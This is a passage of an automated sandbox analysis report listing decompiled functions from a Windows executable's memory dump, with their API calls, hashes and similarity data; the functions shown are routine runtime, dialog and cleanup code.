Instruction Fuzzy Hash: 1621E571F4411FABD71E9E15CC92F3B77ADAB5465CB01812CFC0896283E7B4ED518291

Uniqueness

Uniqueness Score: -1.00%

Function 01118E25, Relevance: 9.0, APIs: 6, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E01118E25(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x112d6ac; // 0x6
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E01118429(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E0111A4F1(_t25, _t36, __eflags,  *0x112d6ac, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E01118C96(_t25, _t31, 0x1150288);
							E0111835E(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E0111835E();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E011183E6(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x112d6ac; // 0x6
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E01118429(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E0111A4F1(_t27, _t37, __eflags,  *0x112d6ac, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E01118C96(_t27, _t32, 0x1150288);
									E0111835E(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E0111835E();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E0111A49B(_t25, _t37, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E0111A49B(_t23, _t36, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x01118e25
0x01118e25
0x01118e25
0x01118e2f
0x01118e31
0x01118e36
0x01118e39
0x01118e47
0x01118e4e
0x01118e53
0x01118e56
0x01118e59
0x01118e6b
0x01118e70
0x01118e72
0x01118e7d
0x01118e84
0x01118e89
0x01118e8c
0x01118e8e
0x00000000
0x00000000
0x00000000
0x00000000
0x01118e74
0x01118e74
0x00000000
0x01118e74
0x01118e5b
0x01118e5b
0x01118e5c
0x01118e5c
0x01118e61
0x01118e9c
0x01118e9d
0x01118ea3
0x01118ea8
0x01118eab
0x01118eac
0x01118ead
0x01118eb4
0x01118eb6
0x01118eb8
0x01118ebd
0x01118ec0
0x01118ece
0x01118eda
0x01118edd
0x01118ee0
0x01118ef2
0x01118ef7
0x01118ef9
0x01118f04
0x01118f0a
0x01118f12
0x01118f14
0x00000000
0x00000000
0x00000000
0x00000000
0x01118efb
0x01118efb
0x00000000
0x01118efb
0x01118ee2
0x01118ee2
0x01118ee3
0x01118ee3
0x01118f16
0x01118f17
0x01118f17
0x01118ec2
0x01118ec8
0x01118ecc
0x01118f1f
0x01118f20
0x01118f26
0x00000000
0x00000000
0x00000000
0x01118ecc
0x01118f2d
0x01118f2d
0x01118e3b
0x01118e41
0x01118e45
0x01118e90
0x01118e91
0x01118e9b
0x00000000
0x00000000
0x00000000
0x01118e45

APIs

GetLastError.KERNEL32(?,0112FF50,01113C54,0112FF50,?,?,011136CF,?,?,0112FF50), ref: 01118E29
_free.LIBCMT ref: 01118E5C
_free.LIBCMT ref: 01118E84
SetLastError.KERNEL32(00000000,?,0112FF50), ref: 01118E91
SetLastError.KERNEL32(00000000,?,0112FF50), ref: 01118E9D
_abort.LIBCMT ref: 01118EA3

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 6453569b171205b1b5d0f50423a7731e3ce2d0be4417890eed71cb7c310f2e19
Instruction ID: 82a6b1d46f3438188ccbaed85bac2f5b3cda50ecd83f1a95c1862eed21216c4c
Opcode Fuzzy Hash: 6453569b171205b1b5d0f50423a7731e3ce2d0be4417890eed71cb7c310f2e19
Instruction Fuzzy Hash: 35F0283654672136D73F367DBC08F1FAA2B9FD1669F298134F629A218CFF24C4528261

Uniqueness

Uniqueness Score: -1.00%

Function 0110CB10, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0110CB10(void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				void* _t12;
				WCHAR* _t16;
				void* _t17;
				intOrPtr _t18;
				void* _t19;
				struct HWND__* _t21;
				signed short _t22;

				_t16 = _a16;
				_t22 = _a12;
				_t21 = _a4;
				_t18 = _a8;
				if(E010F130B(_t17, _t21, _t18, _t22, _t16, L"RENAMEDLG", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t19 = _t18 - 0x110;
				if(_t19 == 0) {
					 *0x114dca4 = _t16;
					SetDlgItemTextW(_t21, 0x66, _t16);
					SetDlgItemTextW(_t21, 0x68,  *0x114dca4);
					goto L10;
				}
				if(_t19 != 1) {
					L5:
					return 0;
				}
				_t12 = (_t22 & 0x0000ffff) - 1;
				if(_t12 == 0) {
					GetDlgItemTextW(_t21, 0x68,  *0x114dca4, 0x800);
					_push(1);
					L7:
					EndDialog(_t21, ??);
					goto L10;
				}
				if(_t12 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0110cb11
0x0110cb16
0x0110cb1b
0x0110cb20
0x0110cb38
0x0110cb9a
0x00000000
0x0110cb9c
0x0110cb3a
0x0110cb40
0x0110cb7f
0x0110cb85
0x0110cb94
0x00000000
0x0110cb94
0x0110cb45
0x0110cb54
0x00000000
0x0110cb54
0x0110cb4a
0x0110cb4d
0x0110cb71
0x0110cb77
0x0110cb5a
0x0110cb5b
0x00000000
0x0110cb5b
0x0110cb52
0x0110cb58
0x00000000
0x0110cb58
0x00000000

APIs

Part of subcall function 010F130B: GetDlgItem.USER32(00000000,00003021), ref: 010F134F
Part of subcall function 010F130B: SetWindowTextW.USER32(00000000,011225B4), ref: 010F1365

EndDialog.USER32(?,00000001), ref: 0110CB5B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0110CB71
SetDlgItemTextW.USER32(?,00000066,?), ref: 0110CB85
SetDlgItemTextW.USER32(?,00000068), ref: 0110CB94

Strings

RENAMEDLG, xrefs: 0110CB28

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: a361647c0f90149042c66bc8f6d1114355060ae15d96f4d084e9fc589877a7dd
Instruction ID: 55080c4425bb02d162e496d34e9240684f2be3125b9fbc0959ec7c86f18a2d2b
Opcode Fuzzy Hash: a361647c0f90149042c66bc8f6d1114355060ae15d96f4d084e9fc589877a7dd
Instruction Fuzzy Hash: D0012D32A84710BBE72F5A78AD48FA73B6CEB5AB42F000664F351A60C4C7E154449FB6

Uniqueness

Uniqueness Score: -1.00%

Function 011173E8, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,01117399,?,?,01117339,?,0112AAB8,0000000C,01117490,?,00000002), ref: 01117408
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0111741B
FreeLibrary.KERNEL32(00000000,?,?,?,01117399,?,?,01117339,?,0112AAB8,0000000C,01117490,?,00000002,00000000), ref: 0111743E

Strings

mscoree.dll, xrefs: 01117401
CorExitProcess, xrefs: 01117413

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6cbfa10b84211d626087db40bfd0ea515ad2db8852eefc1114e5d48e99c265c7
Instruction ID: 855a70e571c313f2f0d5e0287ebf2da7fcc17703f7f00f501d8bc5cf99b3528d
Opcode Fuzzy Hash: 6cbfa10b84211d626087db40bfd0ea515ad2db8852eefc1114e5d48e99c265c7
Instruction Fuzzy Hash: 01F0A430A05219BFDB3D5FA9D809FAEBFB8EB44715F0040B8E909A2284DB744990CB95

Uniqueness

Uniqueness Score: -1.00%

Function 010FEAB3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010FEAB3(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t9;

				_t9 = __ecx;
				if(__ecx[1] == 0) {
					_t6 = E010FFFE3(L"Crypt32.dll");
					 *__ecx = _t6;
					if(_t6 != 0) {
						_t9[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t9, "CryptUnprotectMemory");
						_t9[3] = _t6;
					}
					_t9[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x010feab4
0x010feaba
0x010feac1
0x010feac6
0x010feaca
0x010feadf
0x010feae2
0x010feae8
0x010feae8
0x010feaeb
0x00000000
0x010feaeb
0x010feaf0

APIs

Part of subcall function 010FFFE3: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 010FFFFE
Part of subcall function 010FFFE3: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,010FEAC6,Crypt32.dll,00000000,010FEB4A,?,?,010FEB2C,?,?,?), ref: 01100020

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 010FEAD2
GetProcAddress.KERNEL32(011371C0,CryptUnprotectMemory), ref: 010FEAE2

Strings

CryptProtectMemory, xrefs: 010FEACC
CryptUnprotectMemory, xrefs: 010FEAD8
Crypt32.dll, xrefs: 010FEABC

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 658a02b9d25ec20fde4e2d4f81950fb157e235db123edd41abe10d12153e9a88
Instruction ID: d289f9a0c6a8487d7461b5053b99eea6ade51ed074657c8e7655beb76ad60bcf
Opcode Fuzzy Hash: 658a02b9d25ec20fde4e2d4f81950fb157e235db123edd41abe10d12153e9a88
Instruction Fuzzy Hash: 5AE04F70A01762AFDB399F3AD809B4B7EE46F19614B00C86DF5D5D3510E7B4D094CB60

Uniqueness

Uniqueness Score: -1.00%

Function 01117C09, Relevance: 7.6, APIs: 5, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E01117C09(signed int* __ecx, signed int __edx) {
				signed int _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _t28;
				signed int _t29;
				intOrPtr _t33;
				signed int _t37;
				signed int _t38;
				signed int _t40;
				void* _t50;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t80;
				signed int* _t81;
				signed int _t85;
				void* _t86;

				_t72 = __edx;
				_v12 = __ecx;
				_t28 =  *__ecx;
				_t81 =  *_t28;
				if(_t81 != 0) {
					_t29 =  *0x112d668; // 0xf5f1ec05
					_t56 =  *_t81 ^ _t29;
					_t78 = _t81[1] ^ _t29;
					_t83 = _t81[2] ^ _t29;
					asm("ror edi, cl");
					asm("ror esi, cl");
					asm("ror ebx, cl");
					if(_t78 != _t83) {
						L14:
						 *_t78 = E01117F3C( *((intOrPtr*)( *((intOrPtr*)(_v12 + 4)))));
						_t33 = E01112F99(_t56);
						_t57 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)))) = _t33;
						_t24 = _t78 + 4; // 0x4
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 4)) = E01112F99(_t24);
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 8)) = E01112F99(_t83);
						_t37 = 0;
						L15:
						return _t37;
					}
					_t38 = 0x200;
					_t85 = _t83 - _t56 >> 2;
					if(_t85 <= 0x200) {
						_t38 = _t85;
					}
					_t80 = _t38 + _t85;
					if(_t80 == 0) {
						_t80 = 0x20;
					}
					if(_t80 < _t85) {
						L9:
						_push(4);
						_t80 = _t85 + 4;
						_push(_t80);
						_v8 = E0111B593(_t56);
						_t40 = E0111835E(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							goto L11;
						}
						_t37 = _t40 | 0xffffffff;
						goto L15;
					} else {
						_push(4);
						_push(_t80);
						_v8 = E0111B593(_t56);
						E0111835E(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							L11:
							_t56 = _t68;
							_v8 = _t68 + _t85 * 4;
							_t83 = _t68 + _t80 * 4;
							_t78 = _v8;
							_push(0x20);
							asm("ror eax, cl");
							_t71 = _t78;
							_v16 = 0 ^  *0x112d668;
							asm("sbb edx, edx");
							_t74 =  !_t72 & _t68 + _t80 * 0x00000004 - _t78 + 0x00000003 >> 0x00000002;
							_v8 = _t74;
							if(_t74 == 0) {
								goto L14;
							}
							_t75 = _v16;
							_t50 = 0;
							do {
								_t50 = _t50 + 1;
								 *_t71 = _t75;
								_t71 = _t71 + 4;
							} while (_t50 != _v8);
							goto L14;
						}
						goto L9;
					}
				}
				return _t28 | 0xffffffff;
			}

0x01117c09
0x01117c13
0x01117c17
0x01117c19
0x01117c1d
0x01117c27
0x01117c38
0x01117c3d
0x01117c3f
0x01117c41
0x01117c43
0x01117c45
0x01117c49
0x01117d03
0x01117d11
0x01117d13
0x01117d18
0x01117d1f
0x01117d21
0x01117d2f
0x01117d3e
0x01117d41
0x01117d43
0x00000000
0x01117d44
0x01117c51
0x01117c56
0x01117c5b
0x01117c5d
0x01117c5d
0x01117c5f
0x01117c64
0x01117c68
0x01117c68
0x01117c6b
0x01117c8a
0x01117c8a
0x01117c8c
0x01117c8f
0x01117c98
0x01117c9b
0x01117ca0
0x01117ca3
0x01117ca8
0x00000000
0x00000000
0x01117caa
0x00000000
0x01117c6d
0x01117c6d
0x01117c6f
0x01117c78
0x01117c7b
0x01117c80
0x01117c83
0x01117c88
0x01117cb2
0x01117cb5
0x01117cb7
0x01117cba
0x01117cc2
0x01117cc8
0x01117ccf
0x01117cd1
0x01117cd9
0x01117ce8
0x01117cec
0x01117cee
0x01117cf1
0x00000000
0x00000000
0x01117cf3
0x01117cf6
0x01117cf8
0x01117cf8
0x01117cf9
0x01117cfb
0x01117cfe
0x00000000
0x01117cf8
0x00000000
0x01117c88
0x01117c6b
0x00000000

APIs

_free.LIBCMT ref: 01117C7B
_free.LIBCMT ref: 01117C9B

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4493f15c40baf7db05e5bcfadfdfed546d502fc60783c3431bdc5926ff53e775
Instruction ID: 35ec4709d55060436dba94ec3237c60211bbce3cc7d7bb0fbb540de23a4dfc5b
Opcode Fuzzy Hash: 4493f15c40baf7db05e5bcfadfdfed546d502fc60783c3431bdc5926ff53e775
Instruction Fuzzy Hash: 4341A132A002059FCF29DF78C880A6EF7A6EF89714F154579E515EB389EB31E901CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0111B510, Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0111B510() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E0111B4D9(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t25 = E01118398(_t19, _t7);
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E0111835E(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}

0x0111b51f
0x0111b525
0x0111b57d
0x0111b57d
0x0111b527
0x0111b528
0x0111b52d
0x0111b536
0x0111b53c
0x0111b542
0x0111b547
0x00000000
0x0111b549
0x0111b54f
0x0111b554
0x0111b572
0x0111b56c
0x0111b56c
0x0111b56e
0x0111b56e
0x0111b575
0x0111b57a
0x0111b547
0x0111b581
0x0111b584
0x0111b584
0x0111b592

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0111B519
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0111B53C

Part of subcall function 01118398: RtlAllocateHeap.NTDLL(00000000,?,?,?,01113866,?,0000015D,?,?,?,?,01114D42,000000FF,00000000,?,?), ref: 011183CA

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0111B562
_free.LIBCMT ref: 0111B575
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0111B584

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 3cca0ad1d8cf03d5e919fcab4a8721bfa401bf0d5922ff3a7b4b8272e30a470f
Instruction ID: 53333d49000a291c40b22583431404c9025df57324a1ed20edef945d28ea57f0
Opcode Fuzzy Hash: 3cca0ad1d8cf03d5e919fcab4a8721bfa401bf0d5922ff3a7b4b8272e30a470f
Instruction Fuzzy Hash: E701D472B09611BF33391A7A6C88C7FAE7DDEC7AA03554238FA05C2108DB72CD4182B4

Uniqueness

Uniqueness Score: -1.00%

Function 01118EA9, Relevance: 7.6, APIs: 5, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E01118EA9(void* __ecx, void* __edx) {
				void* __esi;
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t16;
				long _t17;

				_t11 = __ecx;
				_t17 = GetLastError();
				_t10 = 0;
				_t2 =  *0x112d6ac; // 0x6
				_t20 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t16 = E01118429(_t11, 1, 0x364);
					_pop(_t13);
					if(_t16 != 0) {
						_t4 = E0111A4F1(_t13, _t17, __eflags,  *0x112d6ac, _t16);
						__eflags = _t4;
						if(_t4 != 0) {
							E01118C96(_t13, _t16, 0x1150288);
							E0111835E(_t10);
							__eflags = _t16;
							if(_t16 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t16);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E0111835E();
						L8:
						SetLastError(_t17);
					}
				} else {
					_t16 = E0111A49B(_t11, _t17, _t20, _t2);
					if(_t16 != 0) {
						L9:
						SetLastError(_t17);
						_t10 = _t16;
					} else {
						goto L2;
					}
				}
				return _t10;
			}

0x01118ea9
0x01118eb4
0x01118eb6
0x01118eb8
0x01118ebd
0x01118ec0
0x01118ece
0x01118eda
0x01118edd
0x01118ee0
0x01118ef2
0x01118ef7
0x01118ef9
0x01118f04
0x01118f0a
0x01118f12
0x01118f14
0x00000000
0x00000000
0x00000000
0x00000000
0x01118efb
0x01118efb
0x00000000
0x01118efb
0x01118ee2
0x01118ee2
0x01118ee3
0x01118ee3
0x01118f16
0x01118f17
0x01118f17
0x01118ec2
0x01118ec8
0x01118ecc
0x01118f1f
0x01118f20
0x01118f26
0x00000000
0x00000000
0x00000000
0x01118ecc
0x01118f2d

APIs

GetLastError.KERNEL32(?,?,?,011187DF,0111847B,?,01118E53,00000001,00000364,?,011136CF,?,?,0112FF50), ref: 01118EAE
_free.LIBCMT ref: 01118EE3
_free.LIBCMT ref: 01118F0A
SetLastError.KERNEL32(00000000,?,0112FF50), ref: 01118F17
SetLastError.KERNEL32(00000000,?,0112FF50), ref: 01118F20

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 2723739cc7b46f5b45435e50e462c49e92ff8585e4e7ae1cb41aa0176e34fb94
Instruction ID: 857b91d8b2e1a29ae37430b3fec376d35d163c04c7b1e27d1d23cd8c760f0edd
Opcode Fuzzy Hash: 2723739cc7b46f5b45435e50e462c49e92ff8585e4e7ae1cb41aa0176e34fb94
Instruction Fuzzy Hash: 3001493614661337973E6A69BC48E2BA51BDFD12747268134F615A228DEF34C4018222

Uniqueness

Uniqueness Score: -1.00%

Function 011006B9, Relevance: 7.5, APIs: 5, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E011006B9(void* __ecx) {
				intOrPtr _v16;
				void* __ebp;
				int _t16;
				void** _t21;
				long* _t25;
				void* _t28;
				void* _t30;
				intOrPtr _t31;

				_t22 = __ecx;
				_push(0xffffffff);
				_push(0x1121e4c);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t31;
				_t28 = __ecx;
				E011009A1(__ecx);
				_t25 = 0;
				 *((char*)(__ecx + 0x314)) = 1;
				ReleaseSemaphore( *(__ecx + 0x318), 0x40, 0);
				if( *((intOrPtr*)(_t28 + 0x104)) > 0) {
					_t21 = _t28 + 4;
					do {
						E011007AC(_t22, _t30,  *_t21);
						CloseHandle( *_t21);
						_t25 = _t25 + 1;
						_t21 =  &(_t21[1]);
					} while (_t25 <  *((intOrPtr*)(_t28 + 0x104)));
				}
				DeleteCriticalSection(_t28 + 0x320);
				CloseHandle( *(_t28 + 0x318));
				_t16 = CloseHandle( *(_t28 + 0x31c));
				 *[fs:0x0] = _v16;
				return _t16;
			}

0x011006b9
0x011006c2
0x011006c4
0x011006c9
0x011006ca
0x011006d4
0x011006d6
0x011006db
0x011006dd
0x011006ed
0x011006f9
0x011006fb
0x011006fe
0x01100700
0x01100707
0x0110070d
0x0110070e
0x01100711
0x011006fe
0x01100720
0x0110072c
0x01100738
0x01100743
0x0110074e

APIs

Part of subcall function 011009A1: ResetEvent.KERNEL32(?), ref: 011009B3
Part of subcall function 011009A1: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 011009C7

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 011006ED
CloseHandle.KERNEL32(?,?), ref: 01100707
DeleteCriticalSection.KERNEL32(?), ref: 01100720
CloseHandle.KERNEL32(?), ref: 0110072C
CloseHandle.KERNEL32(?), ref: 01100738

Part of subcall function 011007AC: WaitForSingleObject.KERNEL32(?,000000FF,011008CB,?,?,0110094F,?,?,?,?,?,01100939), ref: 011007B2
Part of subcall function 011007AC: GetLastError.KERNEL32(?,?,0110094F,?,?,?,?,?,01100939), ref: 011007BE

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: a2ff6858bb99e5a980ccb0ebbe08ba7be5ca703d3fe0bb9830441de65a0c6899
Instruction ID: c279bad05981f300e17265ccf30912b63012a540143d397e3a6369c28ee30720
Opcode Fuzzy Hash: a2ff6858bb99e5a980ccb0ebbe08ba7be5ca703d3fe0bb9830441de65a0c6899
Instruction Fuzzy Hash: F101B572440B04FFC73A9F69DC84FCABBEAFB49750F400529F1AA42194CBB96994CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0111BDDF, Relevance: 7.5, APIs: 5, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0111BDDF(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x112dd50; // 0x112dd44
